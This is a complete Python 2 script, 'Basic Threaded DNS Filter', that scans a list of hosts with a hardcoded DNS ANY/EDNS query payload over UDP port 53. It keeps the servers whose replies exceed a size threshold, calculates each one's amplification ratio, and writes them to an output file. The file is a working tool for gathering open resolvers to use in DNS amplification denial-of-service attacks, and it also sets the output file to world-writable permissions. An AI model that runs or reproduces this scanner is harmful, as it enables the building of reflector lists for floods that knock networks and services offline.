#!/usr/bin/env python
#Basic Threaded DNS Filter
#by K-Metal


import sys
import os
import time
import socket
import threading

# Check args
if len(sys.argv) < 4:
	print "Usage: <input> <output> <mx size>"
	sys.exit()

RUNNING = True

''' Customize '''
THREADS = 20
TIMEOUT = 0.05 #secs
PORT    = 53
BUFFER  = 65500

# [root] dns recursive payload
payload = "\x23\x61\x01\x20\x00\x01\x00\x00\x00\x00\x00\x01\x03\x31\x78\x31\x02\x63\x7a\x00\x00\xff\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00"
#payload = "\xc4\x75\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\xff\x00\x01\x00\x00\x29\x23\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"


# split input list into thread chunks
def chunklist(l, n):
	parts = len(l) / n
	for i in xrange(0, len(l), parts):
		yield l[i:i+parts]

with open(sys.argv[1],'r') as f:
	data = f.read().splitlines()
	SIZE = len(data)
	CHUNKS = list(chunklist( data, THREADS ))
	print len(CHUNKS)

output = open( sys.argv[2], 'w' )

### Logger thread ###
logs = []
def log(msg):
	global logs
	logs.append( msg )

def logger_thread():
	global logs, output
	while True:
		time.sleep(0.1)
		if logs != []:
			log_data = str(logs.pop(-1))
			print log_data
			output.write( log_data.split()[0]+'\n' )

# Scan dns list #
def scanner(scan_list):
	global payload, TIMEOUT, PORT, RUNNING

	sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
	sock.settimeout( TIMEOUT )
	pkt_size = len(payload) + 28 #udp pkt hdr min size

	for ip in scan_list:
		try: 
			ip = str(socket.gethostbyname(ip))

			if RUNNING:
				sock.sendto( payload, (ip, PORT))
			else:
				break

			try:
				recvdata, addr = sock.recvfrom( BUFFER )
				ip_addr = str(addr[0])
				if len(recvdata) > int(sys.argv[3]): #sucess
					amp = len(recvdata) / pkt_size*1.0
					amp = round( amp, 2 )
					log(
						"{} {} [x{}]".format(ip_addr,len(recvdata),amp)
						)
			except:
				pass
		except:
			pass

## Create threads ###
def create_thread(function, *args):
	thread = threading.Thread(target=function,args=args)
	thread.daemon = True
	thread.start()
	return thread

if __name__ == '__main__':
	# create logging thread
	create_thread(logger_thread)

	print "Started Scanning "+str(SIZE)+" targets"

	# create threads
	thread_list = []
	for t in CHUNKS:
		thread = create_thread( scanner, t )
		thread_list.append( thread )

	# wait for threads to end
	print "ThreadCount: " + str(threading.active_count())
	for t in thread_list:
		try:
			t.join()
		except KeyboardInterrupt:
			RUNNING = False
			break

	output.close()
	if 'nt' not in os.name:
		# for unix systems
		os.system("chmod 0777 "+str(sys.argv[2]))

	sys.exit()